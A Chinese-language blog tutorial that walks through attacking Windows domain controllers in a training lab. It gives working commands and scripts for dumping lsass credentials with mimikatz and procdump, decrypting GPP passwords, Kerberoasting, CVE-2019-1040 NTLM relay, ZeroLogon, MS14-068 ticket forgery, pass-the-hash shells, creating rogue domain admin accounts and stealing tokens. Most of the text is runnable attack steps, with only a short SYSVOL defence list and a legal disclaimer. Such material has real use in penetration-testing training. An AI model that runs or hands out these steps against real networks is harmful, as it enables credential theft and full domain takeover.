文章目录
- 内网渗透之攻击域控
- 前言
- 高权限读取本地密码
- procdump+mimikatz绕过杀软
- SYSVOL组策略获取密码
- Kerberoasting 暴力破解密码
- 原理
- 使用setspn查询spn(windows7和server2008默认自带)
- vbs脚本查询域内注册的spn(kerberoast)
- PowerView查询域内注册的spn
- 环境搭建
- 方法1.用mimikatz 脚本穷举
- 方法2 使用hashcat穷举
- 内网协议NTLM之内网大杀器CVE-2019-1040漏洞
- 中继&委派
- CVE-2020-1472-ZeroLogon
- 简介
- 影响版本
- 使用zerologin脚本复现
- 获取HASH
- 获取shell
- 恢复原HASH
- MS14-068漏洞进行提权
- 第一步:利用MS14-068伪造生成TGT
- 第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书
- 第三步:获取域管理员权限
- 窃取域管理员令牌
- 进程迁移
内网渗透之攻击域控
本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
前言
在域渗透中、作为渗透测试人员,获取域控的权限基本上可以获取整个内网的权限
高权限读取本地密码
模拟域管理员在域成员机器上登录进行工作
使用远程登录进行登录
当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过mimikatz来读取到本地的明文密码。
# 提权(一定要使用本地管理员进行登录,域用户可能权限不够)privilege::debugsekurlsa::logonpasswords# 导出结果mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt
procdump+mimikatz绕过杀软
如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式进行绕过。先导出lsass.exe
procdump下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
# 导出lsass.exeprocdump64.exe -accepteula -ma lsass.exe lsass.dmp
保存到本地后,通过mimikatz读lsass.dmp的明文
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
如果这里没有显示明文,我们可以把NTLM的Hash拿去cmd5去尝试解密一下。
能不能解密出来完全看管理员设置的怎样的密码。
如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取明文。
添加注册表,设置UseLogonCredential设置为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
然后再利用powershell脚本进行锁屏
Function Lock-WorkStation{$signature = @"[DllImport("user32.dll", SetLastError = true)]public static extern bool LockWorkStation();"@$LockWorkStation = Add-Type -memberDefinition $signature -name"Win32LockWorkStation" -namespace Win32Functions -passthru$LockWorkStation::LockWorkStation() | Out-Null}Lock-WorkStation
管理员重新登录后就可以抓取到明文密码了。
有了密码后我们可以看看能不能建立ipc连接或者使用wmiexec.py进行远程命令执行
net use \\10.10.10.137\ipc$ "pass@123" /user:redteam\administratordir \\10.10.10.137\c$
使用wmiexec.py进行远程命令执行
# 这里我们使用Hash进行命令执行python3 wmiexec.py -hashes 00000000000000000000000000000000:51a52c415264a8fc31520f66f2f50459 administrator@10.10.10.137
SYSVOL组策略获取密码
在域环境中,有个默认的共享路径
\\<DOMAIN>\SYSVOL\<DOMAIN>\
SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。
可以利用powershell解密密文:
function Get-DecryptedCpassword { [CmdletBinding()] Param ( [string] $Cpassword ) try { #Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) switch ($Mod) { '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} '2' {$Cpassword += ('=' * (4 - $Mod))} '3' {$Cpassword += ('=' * (4 - $Mod))} } $Base64Decoded = [Convert]::FromBase64String($Cpassword) #Create a new AES .NET Crypto Object $AesObject = New-ObjectSystem.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey =@(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded,0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch {Write-Error $Error[0]}}Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"
针对SYSOVL的防御:
- 打补丁KB2962486
- 删除SYSVOL目录下的groups.xml
- 设置共享文件SYSVOL的权限
Kerberoasting 暴力破解密码
SPN为服务主体名称,是服务实列(MSSQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个实列都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进行离线破解,有可能获取到域用户的密码了。
原理
当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着 这个 TGT 向 TGS 去请求,TGS会返回一个用对应服务账号的密码 hash加密过(RC4_HMAC_MD5)的专门用于访问特定服务的服务票据回来,最后,用户只需拿这张服务票据去访问对应的服务资源即可,而问题就出在 TGS 返回服务票据,目标服务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中hash,由于 TGS 服务票据加密算法已知,尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令
使用setspn查询spn(windows7和server2008默认自带)
查询域内所有的SPN和查询test域的SPN
setspn.exe -q */*setspn.exe -T redteam.club -q */*
以CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users
vbs脚本查询域内注册的spn(kerberoast)
cscript GetUserSPNs.vbs
PowerView查询域内注册的spn
脚本下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-Module .\PowerView.ps1Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
环境搭建
给mySQL服务注册SPN
setspn -s mysql/12server4.redteam.club:3306 test
将kerberos的加密方式换成RC4_HMAC_MD5
方法1.用mimikatz 脚本穷举
使用powershell请求指定的TGS,完成之后klist就能查看相应的票据
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mysql/12server4.redteam.club:3306"
mimikatz导出票据
mimikatz.exe "kerberos::list /export"
使用tgsrepcrack.py破解
项目下载地址:https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
这里我使用了kali内置的字典,各位也可以使用自己的字典。
python3 tgsrepcrack.py passwd.txt 2-40a10000-test@mysql\~12server4.redteam.club\~3306-REDTEAM.CLUB.kirbi
如果是域控用户注册的 可以得到域得明文密码
方法2 使用hashcat穷举
使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken
请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。
实例演示:
在域内一台主机上以普通用户权限执行:
Invoke-Kerberoast -OutputFormat HashcatInvoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
输出结果如下图:
保存文件 使用hashcat对其穷举
hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o found.txt --force
密码:pass@123
内网协议NTLM之内网大杀器CVE-2019-1040漏洞
python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -computer-pass pass@123 "redteam.club/hack:pass@123"
中继&委派
执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限
python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --delegate-access --escalate-user moonsec\$ -debug
域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子(kali)
python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139
监听提升 修改委派
获取服务票据
python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spn cifs/ad2.redteam.club -impersonate administrator
export KRB5CCNAME=administrator.ccachevi /etc/resolv.conf
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administratorpython3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm
导出域控哈希
python3 smbexec.py -no-pass -k ad2.redteam.club
因为我们有Hash也可以使用wmiexec.py进行远程命令执行。
CVE-2020-1472-ZeroLogon
简介
Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空
影响版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)
使用zerologin脚本复现
项目下载地址:https://github.com/dirkjanm/CVE-2020-1472
查看是否存在漏洞。
python3 zerologon_tester.py ad01 10.10.10.1
漏洞利用
# 置空DC的密码 python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDRpython3 cve-2020-1472-exploit.py ad01 10.10.10.137
获取HASH
使用impacket包中的secretsdum.py来获取相关的HASh
# python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -no-passpython3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass
获取shell
获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL
# python wmiexec.py -hashes DOMAIN/DOMAIN_USER@DC_IP_ADDRpython3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:51a52c415264a8fc31520f66f2f50459 redteam.club/administrator@10.10.10.137
恢复原HASH
导出sam
# 导出注册表reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.save# 下载注册表get system.saveget sam.saveget security.save# 删除在目标机器上的文件del /f system.savedel /f sam.savedel /f security.save# 退出exit
获取hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
执行以下命令,获取SAM中原来的HASH
python3 reinstall_original_pw.py ad01 10.10.10.137 813f8ed1cab4b139a984ec6df5bff166c4370395c011194854c788172b5f09e8bc7d174505db585a0f77689274f23c5c9cc827f9d027bf2b59b9fddfe213019c2702a50a5aca3d4f4f4cf318d01a5b293418aca75fedbffe5c3d16cf11c5b52216017f5cc961773e5efb1b8ab0db19104f29a972d9362897a6bd93ba44d6366ed4f0ba5c9e0a315c65f0dfc63c5a3e718c810d95746d2622fb1b265c4bc43ff83570f184672c6186044ae52d118991a3f6f67d16aecc6273a0ec229182d9de4a22afb6ec8a7a54aed9ac87eda6f688e6d357aa74e4d5328deaf09f5b81a41f6e2e123f12b8105db8d30b5a3c025aced
检测域密码
python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes :51a52c415264a8fc31520f66f2f50459
MS14-068漏洞进行提权
server2008有效 MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。
第一步:利用MS14-068伪造生成TGT
MS14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi
第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书
kerberos::ptc TGT_test@moonsec.fbi.ccache
第三步:获取域管理员权限
创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操作。
PsExec.exe \\dc cmd.exe# 添加test用户net user test abc123! /add /domain# 把 test 用户添加进域管理员组net group "domain admins" test /add /domain# 查看域管理员net group "domain admins" /domain
或者使用
python3 goldenPac.py -dc-ip 192.168.0.142 -target-ip 192.168.0.142 moonsec.fbi/test:123456@08server-dc.moonsec.fbi
窃取域管理员令牌
当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。
- 入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。
- 直接在 meterpreter shell 上执行添加域管理员
add_user test abc123! -h 域控的IP地址add_group_user "Domain Admins" test -h 域控IP地址
这里我就使用cs进行一下演示,在msf上面也有同样的命令可以达到这样的效果。
先生成木马并执行获得本地管理员权限
我们查看一下进程有没有域管理的进程,进行注入获取权限
可以看到我们已经获取到了域的管理员权限。
进程迁移
1.入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。
获取域管理员列表
net group "Domain Admins" /domain
2.利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进程中,成功后就获得了域管理员权限。如下图所示:
3.输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:
# 添加test用户net user test admin@123 /add /domain# 把 test 用户添加进域管理员组net group "domain admins" test /add /domain
同理,这里我就使用cs进行一下演示,在msf上面也有同样的命令可以达到这样的效果。
先生成木马并执行获得本地管理员权限
我们查看一下进程有没有域管理的进程,进行令牌窃取获取权限
这里我们同样可以获得域管理权限。